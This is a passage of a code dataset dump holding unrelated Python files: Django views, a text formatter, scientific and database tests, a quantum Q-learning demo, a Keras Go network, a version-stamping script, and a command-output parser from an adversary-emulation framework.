DepartModelForm(data=request.POST)\n #对用户提交的数据进行校验\n if form.is_valid():\n form.save()\n return redirect('/crm/depart/list')\n return render(request, 'depart_form.html', {'form':form})\n\ndef depart_edit(request,nid):\n \"\"\"\n 编辑部门名称\n :param request:\n :param nid:\n :return:\n \"\"\"\n obj = models.Department.objects.filter(id=nid).first() #包含此行的所有数据\n if request.method == \"GET\":\n #生成HTML标签 + 携带默认值\n form = DepartModelForm(instance=obj)\n return render(request,'depart_form.html',{'form':form})\n form = DepartModelForm(data=request.POST,instance=obj)\n if form.is_valid():\n form.save()\n return redirect('/crm/depart/list')\n return render(request,'depart_form.html',{'form':form})\n\ndef depart_del(request,nid):\n \"\"\"\n 删除\n :param request:\n :param nid:\n :return:\n \"\"\"\n models.Department.objects.filter(id=nid).delete()\n return redirect('/crm/depart/list/')","sub_path":"day22/crm_system/crm/views/depart.py","file_name":"depart.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"274285079","text":"import pathlib\n\n\nROOT = pathlib.Path().absolute()\nFOLDER_NAME = \"formatting_helper\"\nTEXT_FILE_PATH = ROOT / FOLDER_NAME / \"format_me.txt\"\nOUTPUT_FILE_PATH = ROOT / FOLDER_NAME / \"formatted.txt\"\n\n#editable constants:\n#constants are used in the order they appear\n#indicates the number of symbols to remove from the start of each line\nREMOVE_FIRST = 0\n#removes everything before the first occurance of the character\nREMOVE_ALL_BEFORE = \".\"\n#characters to eliminate:\nCHAR_TO_ELIMINATE = \"( ) . [ ]\"\n#has Dashes:\nHAS_DASHES = False\n#time stamps, valid values: \"before\" or \"after\"\nTIME_STAMP_LOCATION = \"after\"\n\n\n\n\ndef removeAll(input, x : str):\n return input.replace(x, \"\")\n\nif(not \"format_me.txt\"):\n with open(TEXT_FILE_PATH, \"w+\") as file:\n print(\"formatting file created\")\n exit(0)\n\nwith open(TEXT_FILE_PATH, \"r\") as file:\n with open(OUTPUT_FILE_PATH, \"w+\") as output:\n for line in file:\n outline = line\n outline = outline[REMOVE_FIRST:]\n outline = outline.strip()\n outline = outline[outline.index(REMOVE_ALL_BEFORE) + 1 :]\n outline = outline.strip()\n\n for x in CHAR_TO_ELIMINATE.split(\" \"):\n outline = removeAll(outline, x)\n outline = outline.strip()\n if(not HAS_DASHES):\n if(TIME_STAMP_LOCATION == \"after\"):\n insert_location = outline.index(\":\") - 2\n outline = outline[:insert_location] + \" - \" + outline[insert_location:]\n outline = outline.replace(\" \", \" \")\n\n if(TIME_STAMP_LOCATION == \"before\"):\n insert_location = outline.rindex(\":\") + 3\n outline = outline[:insert_location] + \" - \" + outline[insert_location:]\n outline = outline.replace(\" \", \" \")\n #this inserts a - if there is not one\n \n outline = outline + \"\\n\"\n output.write(outline)\n\n\n \n \n\n\n\n","sub_path":"formatting_helper/formatting_helper.py","file_name":"formatting_helper.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"254383102","text":"from __future__ import absolute_import, division, print_function\n\nimport os\nimport pytest\n\ndef test(dials_regression):\n from dials.algorithms.spot_prediction import PixelToMillerIndex\n from dials.array_family import flex\n from dxtbx.model.experiment_list import ExperimentListFactory\n\n filename = os.path.join(dials_regression, \"centroid_test_data\", \"experiments.json\")\n\n experiments = ExperimentListFactory.from_json_file(filename)\n\n transform = PixelToMillerIndex(\n experiments[0].beam,\n experiments[0].detector,\n experiments[0].goniometer,\n experiments[0].scan,\n experiments[0].crystal)\n\n reflections = flex.reflection_table.from_predictions(experiments[0])\n\n for r in reflections:\n panel = r['panel']\n x, y, z = r['xyzcal.px']\n h0 = r['miller_index']\n h1 = transform.h(panel, x, y, z)\n assert h0 == pytest.approx(h1, abs=1e-7)\n","sub_path":"test/algorithms/spot_prediction/test_pixel_to_miller_index.py","file_name":"test_pixel_to_miller_index.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"470988530","text":"import gym\nimport itertools\nimport matplotlib\nimport numpy as np\nimport pandas as pd\nimport sys\n\nimport warnings\n\nimport groverIteration as GI\nfrom qiskit import QuantumProgram\n\nif \"../\" not in sys.path:\n sys.path.append(\"../\") \n\nfrom collections import defaultdict\nfrom lib.envs.cliff_walking import CliffWalkingEnv\nfrom lib import plotting\n\nmatplotlib.style.use('ggplot')\n\n### will determine L -> how many times the eigenAction need to be amplified according to the reward and the next eigenState\ndef groverIteration(Q_program, eigenAction, qr, action, reward, nextStateValue):\n\n #if L < 2:\n L = int(.2*(reward+nextStateValue)) #reward + value of the nextState, k is .3 which is arbitrary\n\n if(L > 2):\n \tL = 2\n\n if(L > 0):\n \tprint(\"L is greater than 0\")\n\n if(action == 0):\n \tfor x in range(L):\n eigenAction, qr = GI.gIteration00(eigenAction, qr)\n elif(action == 1):\n \tfor x in range(L):\n eigenAction, qr = GI.gIteration01(eigenAction, qr)\n elif(action == 2):\n \tfor x in range(L):\n \t eigenAction, qr = GI.gIteration10(eigenAction, qr)\n elif(action == 3):\n \tfor x in range(L):\n \t eigenAction, qr = GI.gIteration11(eigenAction, qr)\n\n return eigenAction, qr\n\ndef remember(eigenState, Q_program, quantumRegister, classicRegister, quantumCircuit, stateValue, done):\n memory[eigenState].append([Q_program, quantumRegister, classicRegister, quantumCircuit, stateValue, done])\n\n ### determines the action to make, collapses/measures the eigenAction into a move to make\ndef collapseActionSelectionMethod(Q_program, eigenAction, qr, cr):\n eigenAction.measure(qr, cr)\n result = Q_program.execute([\"superposition\"], backend='local_qasm_simulator', shots=1)\n classical_state = result.get_data(\"superposition\")['classical_state']\n\n return classical_state\n\ndef q_learning(env, num_episodes, discount_factor=0.9, alpha=0.8):#, epsilon=0.1):\n \"\"\"\n Q-Learning algorithm: Off-policy TD control. Finds the optimal greedy policy\n while following an epsilon-greedy policy\n \n Args:\n env: OpenAI environment.\n num_episodes: Number of episodes to run for.\n discount_factor: Gamma discount factor.\n alpha: TD learning rate.\n epsilon: Chance the sample a random action. Float betwen 0 and 1.\n \n Returns:\n A tuple (Q, episode_lengths).\n Q is the optimal action-value function, a dictionary mapping state -> action values.\n stats is an EpisodeStats object with two numpy arrays for episode_lengths and episode_rewards.\n \"\"\"\n \n # The final action-value function.\n # A nested dictionary that maps state -> (action -> action-value).\n Q = defaultdict(lambda: np.zeros(env.action_space.n))\n memory = defaultdict(list)\n\n # Keeps track of useful statistics\n stats = plotting.EpisodeStats(\n episode_lengths=np.zeros(num_episodes),\n episode_rewards=np.zeros(num_episodes)) \n \n # The policy we're following\n #policy = make_epsilon_greedy_policy(Q, epsilon, env.action_space.n)\n \n for i_episode in range(num_episodes):\n # Print out which episode we're on, useful for debugging.\n #print(\"Episode \", i_episode)\n if (i_episode + 1) % 100 == 0:\n print(\"\\rEpisode {}/{}.\".format(i_episode + 1, num_episodes), end=\"\")\n #sys.stdout.flush()\n \n # Reset the environment and pick the first action\n eigenState = env.reset()\n\n # One step in the environment\n # total_reward = 0.0\n for t in itertools.count():\n if eigenState in memory:\n memList = memory[eigenState]\n action = memList[0]\n stateValue = memList[1]\n nextState = memList[2]\n\n if nextState in memory:\n nextStateValue = memory[nextState][1]\n else:\n nextStateValue = 0.0\n reward = memList[3]\n\n Q_program = QuantumProgram()\n qr = Q_program.create_quantum_register(\"qr\", 2)\n cr = Q_program.create_classical_register(\"cr\", 2)\n eigenAction = Q_program.create_circuit(\"superposition\", [qr], [cr])\n eigenAction.h(qr)\n eigenAction, qr = groverIteration(Q_program, eigenAction, qr, action, reward, nextStateValue)\n\n else:\n #################### Prepare the n-qubit registers #########################################\n Q_program = QuantumProgram() \n qr = Q_program.create_quantum_register(\"qr\", 2)\n cr = Q_program.create_classical_register(\"cr\", 2)\n eigenAction = Q_program.create_circuit(\"superposition\", [qr], [cr])\n eigenAction.h(qr)\n ############################################################################################\n\n stateValue = 0.0\n\n action = collapseActionSelectionMethod(Q_program, eigenAction, qr, cr)\n nextEigenState, reward, done, _ = env.step(action)\n #if done:\n # print(reward)\n #reward += 1\n\n if nextEigenState in memory:\n memList = memory[nextEigenState]\n nextStateValue = memList[1]\n else:\n nextStateValue = 0.0\n\n #Update state value\n stateValue = stateValue + alpha*(reward + (discount_factor * nextStateValue) - stateValue)\n\n memory[eigenState] = (action, stateValue, nextEigenState, reward)\n\n stats.episode_rewards[i_episode] += (discount_factor ** t) * reward\n stats.episode_lengths[i_episode] = t\n \n if done:\n break\n \n eigenState = nextEigenState\n \n return Q, stats, memory\n\n\nwarnings.simplefilter(\"ignore\", DeprecationWarning)\n\nenv = CliffWalkingEnv()\n\nmatplotlib.style.use('ggplot')\nQ, stats, memory = q_learning(env, 500)\n\nfor state in memory:\n print(memory[state])\n\nplotting.plot_episode_stats(stats)","sub_path":"quantumCliffWalker.py","file_name":"quantumCliffWalker.py","file_ext":"py","file_size_in_byte":6093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"627171167","text":"#!/usr/bin/python3\n\"\"\" State Module for HBNB project \"\"\"\nfrom models.base_model import BaseModel, Base\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy import Column, String\nimport os\n\n\nclass State(BaseModel, Base):\n \"\"\" State class \"\"\"\n\n __tablename__ = 'states'\n if os.getenv(\"HBNB_TYPE_STORAGE\") == \"db\":\n\n name = Column(String(128), nullable=False)\n cities = relationship(\"City\", backref='state',\n cascade=\"all, delete\")\n else:\n @property\n def cities(self):\n \"\"\" get cities \"\"\"\n from models import storage\n if os.getenv(\"HBNB_TYPE_STORAGE\") == \"file\":\n\n cities = []\n filestorage = storage.all(\"City\")\n\n for key, value in filestorage.items():\n if value.to_dict()[\"state_id\"] == self.id:\n cities.append(value)\n return(cities)\n","sub_path":"models/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"574086077","text":"from subprocess import check_output\nimport re\nimport glob\nimport sys\nimport os\n\nbranch = \"\"\nif 'CI_COMMIT_REF_NAME' in os.environ:\n branch = os.environ['CI_COMMIT_REF_NAME']\nif len(branch) == 0:\n out = check_output([\"git\", \"branch\"])\n if (sys.version_info > (3, 0)):\n out = str(out, \"utf-8\")\n for f in out.split(\"\\n\"):\n if f.startswith(\"*\"):\n branch = f.replace(\"*\", \"\").strip()\n\nout = check_output([\"git\", \"rev-parse\", \"HEAD\"])\nif (sys.version_info > (3, 0)):\n out = str(out, \"utf-8\")\nhashCode = out.strip()\n\ndev = False\n\nif len(sys.argv) > 1:\n dev = True\nout = check_output([\"git\", \"describe\", \"--long\"])\nif (sys.version_info > (3, 0)):\n out = str(out, \"utf-8\")\nif out.startswith(\"v\"):\n out = out[1:]\nout = out.replace('-', '.', 1).replace(\"\\r\",\"\").replace(\"\\n\",\"\")\narr = out.split(\".\")\nvar = arr[0:-1]\nif len(var) < 3:\n var = var + ['0'] * (3 - len(arr))\n\nif dev:\n vars = var + [arr[-1].split('-')[0]]\n varl = var + [arr[-1].split('-')[0]+'-'+sys.argv[1]]\nelse:\n vars = var + [arr[-1].split('-')[0]]\n varl = var + [arr[-1]]\n\ndef tagOnly():\n return \".\".join(var[0:3])\n\ndef tagOnlyWithComma():\n return \".\".join(var[0:3])\n\ndef longVersion():\n return \".\".join(varl)\n\ndef longVersionWithComma():\n return \",\".join(varl)\n \ndef shortVersion():\n return \".\".join(vars)\n\ndef shortVersionWithComma():\n return \",\".join(vars)\n\n\nprint(branch)\nprint(hashCode)\nprint(tagOnly())\nprint(longVersion())\nprint(longVersionWithComma())\nprint(shortVersion())\nprint(shortVersionWithComma())\n\nfiles = glob.glob(\"**/*.in\") + glob.glob(\"*.in\")\nfor f in files:\n print(f[:-3])\n with open(f, 'r') as infile, open(f[:-3], 'w') as outfile:\n ctx = infile.read()\n ctx = ctx.replace(\"@VERSION_TAG@\", tagOnly())\n ctx = ctx.replace(\"@VERSION_TAG_WITH_COMMA@\", tagOnlyWithComma())\n ctx = ctx.replace(\"@VERSION_SHORT@\", shortVersion())\n ctx = ctx.replace(\"@VERSION_SHORT_WITH_COMMA@\", shortVersionWithComma())\n ctx = ctx.replace(\"@VERSION_LONG@\", longVersion())\n ctx = ctx.replace(\"@VERSION_LONG_WITH_COMMA@\", longVersionWithComma())\n ctx = ctx.replace(\"@VERSION_BRANCH@\", branch)\n ctx = ctx.replace(\"@VERSION_HASH@\", hashCode)\n ctx = ctx.replace(\"@VERSION_TAG_WITH_BRANCH@\", tagOnly() + \"-\" + branch)\n ctx = ctx.replace(\"@VERSION_SHORT_WITH_BRANCH@\", shortVersion() + \"-\" + branch)\n ctx = ctx.replace(\"@VERSION_LONG_WITH_BRANCH@\", longVersion() + \"-\" + branch)\n outfile.write(ctx)\n","sub_path":"rev.py","file_name":"rev.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"406356676","text":"from app.objects.secondclass.c_relationship import Relationship\nfrom app.objects.secondclass.c_fact import Fact\nfrom app.utility.base_parser import BaseParser\n\n\nclass Parser(BaseParser):\n\n ABILITY_SUCCESS_FLAG = 'VERBOSE: Performing the operation \"Copy'\n\n def parse(self, blob):\n relationships = []\n for match in self.line(blob):\n if self.ABILITY_SUCCESS_FLAG in match:\n for mp in self.mappers:\n relationships.append(\n Relationship(source=Fact(mp.source, self._get_remote_host(mp.source, self.used_facts)),\n edge=mp.edge,\n target=Fact(mp.target, None))\n )\n # we can only have one resulting relationship in this parser type. return immediately\n return relationships\n return relationships\n\n \"\"\" PRIVATE \"\"\"\n\n @staticmethod\n def _get_remote_host(source_trait, used_facts):\n for uf in used_facts:\n if uf.trait == source_trait:\n return uf.value\n","sub_path":"app/parsers/54ndc47_remote_copy.py","file_name":"54ndc47_remote_copy.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"341101598","text":"class Solution(object):\n def partition(self, s):\n \"\"\"\n :type s: str\n :rtype: List[List[str]]\n \"\"\"\n res = self.recur(s)\n return res\n \n def recur(self, s):\n length = len(s)\n res = []\n if length <= 1:\n return [[s]]\n if self.is_palindrome(s):\n res.append([s])\n for i in range(1,length):\n if self.is_palindrome(s[:i]):\n subres = self.partition(s[i:])\n res.extend([[s[:i]] + sub for sub in subres])\n return res\n \n def is_palindrome(self, s):\n if s==s[::-1]:\n return True\n return False\n ","sub_path":"131_PalindromePartitioning.py","file_name":"131_PalindromePartitioning.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"251097231","text":"from keras.layers import Input, Conv2D, Dense, Activation, LeakyReLU, Reshape, Flatten, BatchNormalization, Dropout, Concatenate\nfrom keras.optimizers import Adam\nfrom keras.callbacks import ModelCheckpoint, TensorBoard, LambdaCallback\nfrom keras.metrics import top_k_categorical_accuracy\nfrom keras import Model\nfrom keras.models import load_model\nfrom keras.losses import binary_crossentropy, categorical_crossentropy\nfrom keras.utils import HDF5Matrix\nimport keras.backend as K\n\nimport numpy as np\nimport h5py\n\nfrom config import *\nimport utils\nimport policy, value\n\n\ndef save_model(model, model_dir, epoch=None, period=5):\n assert isinstance(model, Model)\n if epoch is None:\n epoch = 0\n\n if epoch % period == 0:\n\n assert isinstance(epoch, int)\n\n epoch = '' if epoch == 0 else '_{}'.format(epoch)\n model.save(os.path.join(model_dir, 'model{}.h5'.format(epoch)), include_optimizer=False)\n\n\ndef build_resnet(x):\n\n channel = 32\n kern = (3, 3)\n\n def _conv_block(_x):\n out = _x\n out = Conv2D(channel, kern, padding='same')(out)\n out = BatchNormalization()(out)\n out = LeakyReLU()(out)\n\n return out\n\n def _res_block(_x):\n out = _x\n out = Conv2D(channel, kern, padding='same')(out)\n out = BatchNormalization()(out)\n out = LeakyReLU()(out)\n out = Conv2D(channel, kern, padding='same')(out)\n out = BatchNormalization()(out)\n out = Concatenate()([x, out])\n out = LeakyReLU()(out)\n\n return out\n\n # x = Input(shape=board_shape)\n out = x\n\n out = _conv_block(out)\n\n for _ in range(3):\n out = _res_block(out)\n\n out = Dropout(0.4)(out)\n\n return out\n\n\ndef build_complex():\n\n x = Input(shape=block_shape, name='input_block')\n\n res = build_resnet(x)\n\n p = policy.build_policy_head([x, res])\n v = value.build_value_head([x, res])\n\n m = Model(x, [p(x), v(x)], name='policy_value')\n m.summary()\n\n return m\n\n\ndef train_complex(model, dataset, model_name, init=0):\n\n assert isinstance(model, Model)\n\n policy = model.layers[1]\n value = model.layers[2]\n\n assert isinstance(policy, Model)\n assert isinstance(value, Model)\n\n if isinstance(dataset, tuple):\n x, p, v = dataset\n # permu = np.random.permutation(len(x))\n # x = x[permu]\n # p = p[permu]\n # v = v[permu]\n\n p = np.reshape(p, (-1, 361))\n\n pos = int(split_ratio * len(x))\n x_train, x_test = x[:-pos], x[-pos:]\n p_train, p_test = p[:-pos], p[-pos:]\n v_train, v_test = v[:-pos], v[-pos:]\n\n print('Train Data: {} - {} - {}'.format(x_train.shape, p_train.shape, v_train.shape))\n print('Test Data: {} - {} - {}'.format(x_test.shape, p_test.shape, v_test.shape))\n # exit()\n else:\n with h5py.File(H5_PATH, 'r') as f:\n data_len = f.attrs['len']\n pos = int(split_ratio * data_len)\n x_train = HDF5Matrix(H5_PATH, 'block', end=data_len - pos)\n x_test = HDF5Matrix(H5_PATH, 'block', start=data_len - pos)\n p_train = HDF5Matrix(H5_PATH, 'policy', end=data_len - pos)\n p_test = HDF5Matrix(H5_PATH, 'policy', start=data_len - pos)\n v_train = HDF5Matrix(H5_PATH, 'value', end=data_len - pos)\n v_test = HDF5Matrix(H5_PATH, 'value', start=data_len - pos)\n\n model_dir = os.path.join(MODEL_PATH, model_name)\n log_dir = os.path.join(model_dir, 'logs')\n os.makedirs(model_dir, exist_ok=True)\n os.makedirs(log_dir, exist_ok=True)\n\n model.compile(optimizer=Adam(lr=learning_rate), loss=['categorical_crossentropy', 'mse'], metrics=['accuracy'])\n\n fig, axes = utils.show_board_all(policy, value, x_test, p_test, v_test)\n\n def batch_generator(x_data, p_data, v_data):\n while True:\n permu = np.random.permutation(x_data.shape[0])\n x_data = np.array(x_data)[permu]\n p_data = np.array(p_data)[permu]\n v_data = np.array(v_data)[permu]\n for i in range(x_data.shape[0] // batch_size):\n x_batch = x_data[i*batch_size: (i+1)*batch_size]\n p_batch = p_data[i*batch_size: (i+1)*batch_size]\n v_batch = v_data[i*batch_size: (i+1)*batch_size]\n\n yield x_batch, [p_batch, v_batch]\n\n callback_list = [\n ModelCheckpoint(os.path.join(model_dir, 'model.h5'), period=5),\n TensorBoard(log_dir=log_dir, batch_size=batch_size),\n LambdaCallback(on_epoch_end=lambda epoch, logs: save_model(model, model_dir, epoch)),\n LambdaCallback(on_epoch_end=lambda epoch, logs: utils.show_board_all(policy, value, x_test, p_test, v_test, fig, axes)),\n ]\n # model.fit_generator(batch_generator(x_train, p_train, v_train), steps_per_epoch=x_train.shape[0] // batch_size,\n # epochs=num_epoch, callbacks=callback_list, initial_epoch=init,\n # validation_data=batch_generator(x_test, p_test, v_test), validation_steps=1)\n model.fit(x_train, [p_train, v_train], batch_size=batch_size, epochs=num_epoch, callbacks=callback_list,\n validation_data=(x_test, [p_test, v_test]), initial_epoch=init, shuffle=True)\n\n\ndef test_complex(model_name, dataset):\n\n os.makedirs(TEST_RESULT_PATH, exist_ok=True)\n\n x, p, v = dataset\n permu = np.random.permutation(len(x))\n x = x[permu]\n p = p[permu]\n v = v[permu]\n\n p = np.reshape(p, (-1, 361))\n\n pos = int(split_ratio * len(x))\n x_train, x_test = x[:-pos], x[-pos:]\n p_train, p_test = p[:-pos], p[-pos:]\n v_train, v_test = v[:-pos], v[-pos:]\n\n print('Test Data: {} - {} - {}'.format(x_test.shape, p_test.shape, v_test.shape))\n\n if model_name is None:\n model = build_complex()\n else:\n model = load_model(os.path.join(MODEL_PATH, model_name, 'model.h5'))\n\n policy = model.layers[1]\n value = model.layers[2]\n\n print('*** Successfully loaded model. ***')\n\n fig = axes = None\n i = 0\n while True:\n idx = np.random.choice(np.arange(x_test.shape[0]), 10)\n fig, axes = utils.show_board_all(policy, value, x_test[idx], p_test[idx], v_test[idx], fig, axes,\n save_path=os.path.join(TEST_RESULT_PATH, '{:04}.png'.format(i)))\n i += 1\n\n\ndef main():\n pass\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"NN/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"92312905","text":"from math import cos, asin, sqrt\n\nDEPOT_LATITUDE = -37.816664\nDEPOT_LONGITUDE = 144.963848\nPI_PER_ANGLE = 0.017453292519943295 # Pi/180\nDRONE_SPEED = 20.0 # km/h\n\n\nclass Position(object):\n latitude = None\n longitude = None\n\n def __init__(self, longitude, latitude):\n self.longitude = longitude\n self.latitude = latitude\n\n def get_distance(self, pos):\n \"\"\"distance in km\"\"\"\n a = 0.5 - cos((pos.latitude - self.latitude) * PI_PER_ANGLE) / 2 + cos(self.latitude * PI_PER_ANGLE) * cos(\n pos.latitude * PI_PER_ANGLE) * (1 - cos((pos.longitude - self.longitude) * PI_PER_ANGLE)) / 2\n return 12742 * asin(sqrt(a)) # 2*R*asin...\n\n def get_delivery_time(self, pos):\n \"\"\"delivery time in hour\"\"\"\n distance = self.get_distance(pos)\n return distance / 20.0\n\n\nDEPOT = Position(DEPOT_LONGITUDE, DEPOT_LATITUDE)\n\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"490673608","text":"import sys\nfrom geometria import Vector, intersection\n\ndef blum_blum_shub():\n s = 290797\n while True:\n s = (s**2) % 50515093\n t = s % 500\n yield t\n\ndef segment_generator():\n gen = blum_blum_shub()\n while True:\n t1 = next(gen)\n t2 = next(gen)\n t3 = next(gen)\n t4 = next(gen)\n yield (Vector(t1,t2), Vector(t3,t4))\n\ndef main(nseg):\n gen = segment_generator()\n segments = [next(gen) for _ in range(nseg)]\n interpoints = (intersection(s1,s2) for s1 in segments\n for s2 in segments\n if s1 < s2)\n interpoint_set = {point for point in interpoints if point}\n print(len(interpoint_set)) \n\nif __name__ == '__main__':\n nseg = int(sys.argv[1])\n main(nseg) \n","sub_path":"euler0165_2.py","file_name":"euler0165_2.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"616866001","text":"import numpy as np\nimport pylab as pl\nimport sys\n\nipFile = str(sys.argv[1])\npoints=open(ipFile)\n\n\nline=points.readline()\npl.plot(0,0,'ro',markersize=5)\nline=points.readline()\nmax_axes=-1\nmax_axes=int(max_axes)\ncount=1;\ncount=int(count)\n\nwhile line:\n\tx,y= line.split()\n\tx=int(x)\n\ty=int(y)\n\tmax_axes=max(max(x,y),max_axes)\t\n\tline=points.readline()\n\tpl.plot([x],[y],'ro',markersize=5)\n\t#pl.text(x-0.2,y-0.4,count,fontsize=8)\n\tcount=count+1\n\nmax_axes=max_axes+4\npl.axis([-1, max_axes, -1, max_axes])\npl.xlabel('X-axis',fontsize=12)\npl.ylabel('Y-axis',fontsize=12)\npl.text(-0.5,-0.5,\"s\",fontsize=10)\npoints.close()\n\ngui=open(\"output.gui\")\n\nline=gui.readline()\ns = \"s\"\nr = \"r\"\nwhile line:\n\tline1=gui.readline()\n\tline2=gui.readline()\n\tline3=int(gui.readline())\n\tline4=int(gui.readline())\n\tline5=int(gui.readline())\n\tline6=int(gui.readline())\t\n\t#print line\n\t#print line1\n\t\n\tif line.strip() == s:\t\n\t\t#print \"if true\"\t\t\n\t\tx=[line3,line5]\n\t\ty=[line4,line6]\n\t\tpl.plot(x,y,color='red')\t\n\t\tpl.plot([line5],[line6],'bo',markersize=6)\n\n\telif (line3 == line5) or (line4 == line6):\n\t\tx=[line3,line5]\n\t\ty=[line4,line6]\n\t\tpl.plot(x,y,color='red')\t\t\t\t\t\n\t\n\telif line.strip() == r:\n\t\ta=[line3,line3]\n\t\tb=[line4,line6]\n\t\tc=[line3,line5]\n\t\td=[line6,line6]\n\t\tpl.plot(a,b,color='red')\n\t\tpl.plot(c,d,color='red')\n\t\n\tline=gui.readline()\t\n\ngui.close()\n\n\nsummary=open(\"summary.txt\")\nfor i in range(1,8):\n\tline=summary.readline()\npl.text(0,max_axes-2,line,fontsize=10)\n\npl.show()\n","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"34384352","text":"import time\nimport random\n\nfrom nose.plugins.attrib import attr\nfrom nose.tools import with_setup\n\nfrom emmaa.db import Query, Result, User, UserQuery\nfrom emmaa.queries import Query as QueryObject, PathProperty\nfrom emmaa.tests.db_setup import _get_test_db, setup_function, \\\n teardown_function\n\n\ntest_query_jsons = [{'type': 'path_property', 'path': {'type': 'Activation',\n 'subj': {'type': 'Agent', 'name': 'BRAF'},\n 'obj': {'type': 'Agent', 'name': 'ERK'}}},\n {'type': 'path_property', 'path':\n {'type': 'Phosphorylation',\n 'enz': {'type': 'Agent', 'name': 'ERK'},\n 'sub': {'type': 'Agent', 'name': 'MEK'}}}]\n\ntest_queries = [QueryObject._from_json(qj) for qj in test_query_jsons]\n\n\n@with_setup(setup_function, teardown_function)\n@attr('nonpublic')\ndef test_instantiation():\n db = _get_test_db()\n assert db\n return\n\n\n@with_setup(setup_function, teardown_function)\n@attr('nonpublic')\ndef test_put_queries():\n db = _get_test_db()\n db.put_queries('joshua', 1, test_queries[0], ['aml', 'luad'])\n with db.get_session() as sess:\n queries = sess.query(Query).all()\n assert len(queries) == 2, len(queries)\n # Not logged in user\n db.put_queries(None, None, test_queries[1], ['aml'])\n with db.get_session() as sess:\n queries = sess.query(Query).all()\n assert len(queries) == 3, len(queries)\n\n\n@with_setup(setup_function, teardown_function)\n@attr('nonpublic')\ndef test_get_queries():\n db = _get_test_db()\n for query in test_queries:\n db.put_queries('joshua', 1, query, ['aml', 'luad'])\n db.put_queries('test_user', 2, query, ['aml'])\n # We should only get distinct queries, independent of number of users\n queries = db.get_queries('aml')\n assert len(queries) == 2, len(queries)\n assert all(isinstance(query, PathProperty) for query in queries)\n queries = db.get_queries('luad')\n assert len(queries) == 2, len(queries)\n assert all(isinstance(query, PathProperty) for query in queries)\n\n\ndef _get_random_result():\n return random.choice(\n [{'12': [['This is fine.', '']]}, {'34': [['This is not ok.', '']]}])\n\n\n@with_setup(setup_function, teardown_function)\n@attr('nonpublic')\ndef test_put_results():\n db = _get_test_db()\n db.put_queries('joshua', 1, test_queries[0], ['aml', 'luad'])\n queries = db.get_queries('aml')\n results = [(query, '', _get_random_result())\n for query in queries]\n db.put_results('aml', results)\n with db.get_session() as sess:\n db_results = sess.query(Result).all()\n assert len(db_results) == len(results)\n\n\n@with_setup(setup_function, teardown_function)\n@attr('nonpublic')\ndef test_get_results():\n db = _get_test_db()\n models = ['aml', 'luad']\n\n # Fill up the database.\n for query in test_queries:\n db.put_queries('joshua', 1, query, models)\n for model in models:\n db.put_results(model, [(query, 'pysb', _get_random_result())\n for query in test_queries])\n\n # Try to get the results.\n results = db.get_results('joshua')\n assert len(results) == len(test_queries)*len(models)\n assert all(isinstance(result, tuple) for result in results)\n assert all(result[0] in models for result in results)\n assert any(results[0][1].matches(q) for q in test_queries)\n assert all(isinstance(result[2], str) for result in results)\n assert all(isinstance(result[3], dict) for result in results)\n\n\n@with_setup(setup_function, teardown_function)\n@attr('nonpublic')\ndef test_get_latest_results():\n db = _get_test_db()\n models = ['aml', 'luad']\n\n # Fill up the database.\n for query in test_queries:\n db.put_queries('joshua', 1, query, models)\n for model in models:\n db.put_results(model, [(query, 'pysb', _get_random_result())\n for query in test_queries])\n\n # Add the same statements over again\n time.sleep(10)\n for model in models:\n db.put_results(model, [(query, 'pysb', _get_random_result())\n for query in test_queries])\n\n # Try to get the results. Make sure we only get the one set.\n results = db.get_results('joshua')\n assert len(results) == len(test_queries)*len(models), len(results)\n assert all(isinstance(result, tuple) for result in results)\n assert all(result[0] in models for result in results)\n assert any(results[0][1].matches(q) for q in test_queries)\n assert all(isinstance(result[2], str) for result in results)\n assert all(isinstance(result[3], dict) for result in results)\n\n\n@with_setup(setup_function, teardown_function)\n@attr('nonpublic')\ndef test_get_subscribed_queries():\n db = _get_test_db()\n db.put_queries('test@test.com', 1, test_queries[0], ['aml'], True)\n db.put_queries('test@test.com', 1, test_queries[1], ['aml'], False)\n # Only return queries for which subscription is True\n queries = db.get_subscribed_queries('test@test.com')\n assert len(queries) == 1\n assert queries[0][2] == test_queries[0].get_hash_with_model('aml')\n\n\n@with_setup(setup_function, teardown_function)\n@attr('nonpublic')\ndef test_get_subscribed_users():\n db = _get_test_db()\n db.put_queries('test1@test.com', 1, test_queries[0], ['aml'], True)\n db.put_queries('test2@test.com', 2, test_queries[1], ['aml'], False)\n # Only return users that subscribed for something\n emails = db.get_subscribed_users()\n assert len(emails) == 1\n assert emails[0] == 'test1@test.com'\n\n\n@with_setup(setup_function, teardown_function)\n@attr('nonpublic')\ndef test_update_email_subscription():\n db = _get_test_db()\n db.put_queries('test1@test.com', 1, test_queries[0], ['aml'], True)\n qh = test_queries[0].get_hash_with_model('aml')\n with db.get_session() as 